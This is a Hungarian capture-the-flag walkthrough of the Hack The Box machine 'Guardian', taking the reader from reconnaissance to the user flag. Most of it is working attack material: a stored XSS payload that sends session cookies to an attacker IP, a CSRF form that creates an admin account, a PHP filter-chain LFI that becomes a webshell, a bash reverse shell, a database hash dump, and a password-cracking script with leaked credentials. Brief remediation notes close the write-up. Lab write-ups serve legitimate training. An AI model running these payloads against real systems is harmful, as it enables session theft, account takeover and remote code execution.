Skip to content

Guardian — Hack The Box (user flagig)

Platform: Linux
IP: 10.10.11.84 Nehézség: Hard
Szerző: NoSec


mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.

💀 csatlakozz a backdoor crew-hoz

/etc/hosts szerkesztése

IP=<TARGET_IP>         # pl.: 10.10.11.84 (cseréld a saját HTB IP-re)
sudo sh -c "printf '%s %s\n' $IP 'guardian.htb portal.guardian.htb gitea.guardian.htb' >> /etc/hosts"

Felderítés – Szolgáltatás-feltérképezés

Nmap (gyors, összes port + script + verzió)

mkdir -p scans
nmap -p- --min-rate 10000 -T4 -oA scans/ports guardian.htb
nmap -sCV -p22,80 -oA scans/svcs guardian.htb

Várható fő pontok: - 22/tcp OpenSSH 8.9p1
- 80/tcp Apache 2.4.52 → „Guardian University” landing oldal

A lényeg: - 22/tcp SSH - 80/tcp HTTP (guardian.htb → marketing oldal; innen jutunk portal.guardian.htb-ra)


Webes felderítés → portál aldomain + alap belépők

1) Nyisd meg a http://guardian.htb/ oldalt és nézd meg a forráskódot / elemeket — találsz utalást a portal.guardian.htb (diákportál) aldomainre.
2) http://portal.guardian.htb/ → bejelentkező oldal. A Help/Guide link kimondja, hogy az alapértelmezett jelszó: GU1234.
3) A landing oldalon minta diák e-mailek is vannak; a felhasználónév formátuma a diák ID-t követi. Próbáld az elsőt:

felhasználónév: GU0142023
jelszó:        GU1234

Ezzel Student szerepkörrel bejelentkezel.


Chat-enumeráció → munkatársi credsek (pivot Giteára)

A portálon van egy chat nézet, tömbös paraméterezéssel:

/student/chat.php?chat_users[0]=X&chat_users[1]=Y

A Student session sütiddel kis sorszám-tartományt enumerálva találhatsz beszélgetéseket, amelyek hitelesítési adatokat szivárogtatnak.

mkdir -p loot
echo {1..20} | tr ' ' '\n' > ids.txt

# Cseréld ki a böngésződből kimásolt valós session értékre
COOKIE='PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h'

ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' \
     -w ids.txt:FUZZ1 -w ids.txt:FUZZ2 -mode clusterbomb \
     -H "Cookie: $COOKIE" -fl 178 -fl 164 -o loot/chat_enum.json

A találatok között lesz olyan thread, ahol egy munkatárs megosztja a Gitea belépőt és a vhostot:

VHOST: gitea.guardian.htb

felhasználónév: jamil.enockson@guardian.htb
jelszó:         DHsN<pass>

Lépj be a http://gitea.guardian.htb/ felületen ezekkel az adatokkal.


Portál forrás (Gitea) olvasása → XLSX → tárolt XSS eszköz

A portal.guardian.htb repóban látszik, hogy a rendszer a feltöltött XLSX fájlokat PhpSpreadsheet HTML writerrel konvertálja. A sheet-navigáció felépítése nyers sheet címeket használ → ha kontrolláljuk a sheet címét és legalább két sheet van (hogy megjelenjen a navigáció), akkor tárolt XSS-t kapunk előnézetkor.

Terv: feltöltünk egy rosszindulatú XLSX-et; amikor egy Lecturer megnyitja az előnézetet, a JS kiszedi a PHPSESSID-jét.

XLSX elkészítése

Hozz létre egy munkafüzetet 2 sheettel. Az egyik sheet címébe tedd az XSS payloadot (olyan szerkesztőt használj, ami engedi a speciális karaktereket). Példa:

"><img src=x onerror="fetch('http://TAMADO_IP:8000/x?c='+btoa(document.cookie))">

Export .xlsx-ként.

Lisener indítása

# egyszerű HTTP fogó a támadó gépen
sudo python3 -m http.server 8000
# (vagy: sudo tcpdump -A -i tun0 'tcp port 8000')

Feltöltés & várakozás

Töltsd fel az XLSX-et a portál felületén (assignment/preview). Amikor egy Lecturer megnyitja (a szerver HTML-t renderel), a lisener kap egy kérést, pl.:

# példa
echo UEhQU0VTU0lEPWs2N3I4aGNvMjNnOGh0dXFiNThlNDd2azI5 | base64 -d
# PHPSESSID=k67r8hco23g8htuqb58e47vk29

Állítsd be a böngésződben a portal.guardian.htb cookie-ját erre a PHPSESSID-re és frissíts → már Lecturer vagy.


Lecturer → Admin (CSRF token-pool hiba)

A kódban (pl. admin/createuser.php) a CSRF tokenek egy globális JSON poolba kerülnek minden oldalbetöltéskor, és az ellenőrzés csak tagságot vizsgál — a tokeneket sosem törlik. Bármelyik ismert token korlátlan ideig érvényes → ideális CSRF új Admin létrehozásához.

CSRF oldal hosztolása

Mentsd csrf-admin.html néven és szolgáld ki (pl. python3 -m http.server 8000):

<!doctype html>
<form id="f" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
  <input type="hidden" name="username" value="nosec">
  <input type="hidden" name="password" value="P@ssw0rd123!!">
  <input type="hidden" name="full_name" value="nosec User">
  <input type="hidden" name="email" value="nosec@example.com">
  <input type="hidden" name="dob" value="1990-01-01">
  <input type="hidden" name="address" value="123 Hackers Street">
  <input type="hidden" name="user_role" value="admin">
  <!-- bármelyik tokens.json-ben szereplő token jó; ez csak példa -->
  <input type="hidden" name="csrf_token" value="4263a883187460991d60f1bf9c6d332f">
</form>
<script>document.getElementById('f').submit()</script>

Rábírni az admint a megnyitásra

Használj olyan felületet, amit az admin biztosan megnéz (pl. Notice Board) és oda tedd ki a linked. Amint az admin megnyitja, létrejön a fiókod:

felhasználónév: nosec
jelszó:         P@ssw0rd123!!

Lépj be az Admin panelre.


LFI → webshell PHP filter lánccal (Admin/Reports)

Az Admin → Reports a ?report= paraméterből tölt be fájlt, és megpróbál egy allowlistet erőltetni: enrollment.php | academic.php | financial.php | system.php. Tiltja a ..-t, és ilyen regexet használ:

preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)

Ezt megkerülhetjük egy PHP filter chain-nel, ami dekódol egy payloadot (pl. <?php eval($_POST["a"]);?>), majd a végére hozzáfűzzük ,system.php-t, hogy átmenjen a regexen.

Filter chain generálása

Használj generátort (publikus „php filter chain generator” scriptek elérhetők), hogy kódold a minishellt:

python3 php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>' \
  | tee loot/php_filter_chain.txt

Kimenet jellegzetesen ilyesmi:

php://filter/convert.iconv.utf-8.utf-16le|convert.base64-decode|.../resource=....

Betöltés kiváltása a vesszős trükkel

Nyisd meg (cseréld <CHAIN>-re a generátor kimenetét):

http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php

Reverse shell szerzése

# lisener a támadó gépen
rlwrap -q 0 nc -lvnp 4444

# kiváltás a támadóról
curl -X POST 'http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php' \
     -d 'a=system("bash -c \"bash -i >& /dev/tcp/TAMADO_IP/4444 0>&1\"");'

Shell www-dataként.


DB credsek zsákmányolása → felhasználó hashek dumpja

A célgépen nézd meg a portokat:

ss -tuln
# várható: 127.0.0.1:3306 (MySQL), esetleg 127.0.0.1:3000 (Gitea)

Keresd ki a portál konfigból a DB belépőket (a Gitea repóban is látható):

cd /var/www/html/portal.guardian.htb 2>/dev/null || cd ~
grep -RIn "host\|user\|pass\|dbname\|salt" . 2>/dev/null

Kapcsolódás és a users tábla dumpja:

mysql -u <db_user> -p'<db_pass>' -h 127.0.0.1 portal \
  -e "select username,password_hash from users" | tee loot/users_hashes.txt

A konfigban találsz egy globális SALT-ot is, pl.:

SALT="8Sb)tM1vs1SS"

sha256(password + SALT) törése → jamil beszerzése

Egyszerű törő (a hashes.txt formátuma: user:hash soronként):

# crack.py
import hashlib

SALT = "8Sb)tM1vs1SS"             # a portál konfigból
WL   = "/usr/share/wordlists/rockyou.txt"

pairs = [l.strip().split(":", 1) for l in open("hashes.txt")]

def h(p): return hashlib.sha256((p + SALT).encode()).hexdigest()

for user, target in pairs:
    with open(WL, "r", encoding="latin-1", errors="ignore") as f:
        for pwd in f:
            pwd = pwd.strip()
            if h(pwd) == target:
                print(f"[+] {user}:{pwd}")
                break

hashes.txt példa:

admin:694a63de406521120d9<HASH>
jamil.enockson:c1d8dfaeee103<HASH>
mark.pargetter:8623e713...

Futtatás:

python3 crack.py
# [+] admin:fak<PASS>
# [+] jamil.enockson:copp<PASS>

User megszerzése

TTY upgrade és userváltás:

# a www-data shellben
script -qc /bin/bash /dev/null
python3 -c 'import pty,os; pty.spawn("/bin/bash"); os.setsid();'
stty raw -echo; fg; reset

su - jamil
# jelszó: copperhouse56

cat ~/user.txt

User flag megszerezve.


Védelmi megjegyzések / javítás

  • Alap portáljelszó GU1234: kényszerített csere első belépéskor; rate limit + lockout.
  • PhpSpreadsheet HTML writer: sheet címek escapelése vagy frissítés; szerveroldali szanálás renderelés előtt.
  • CSRF token-pool: legyen sessionhöz kötött, egyszer használatos, és járjon le; ne legyen globális, sosem ürülő lista.
  • ?report= include: szigorú szerveroldali allowlist; tiltsd a php:///filter láncokat és a felhasználó által kontrollált dekódolást.
  • Jelszavak: modern KDF (Argon2id/bcrypt/scrypt) per-user véletlen sóval; ne legyen újrafelhasználás szolgáltatások között.

🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn


☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben

💻 támogasd a nosec-et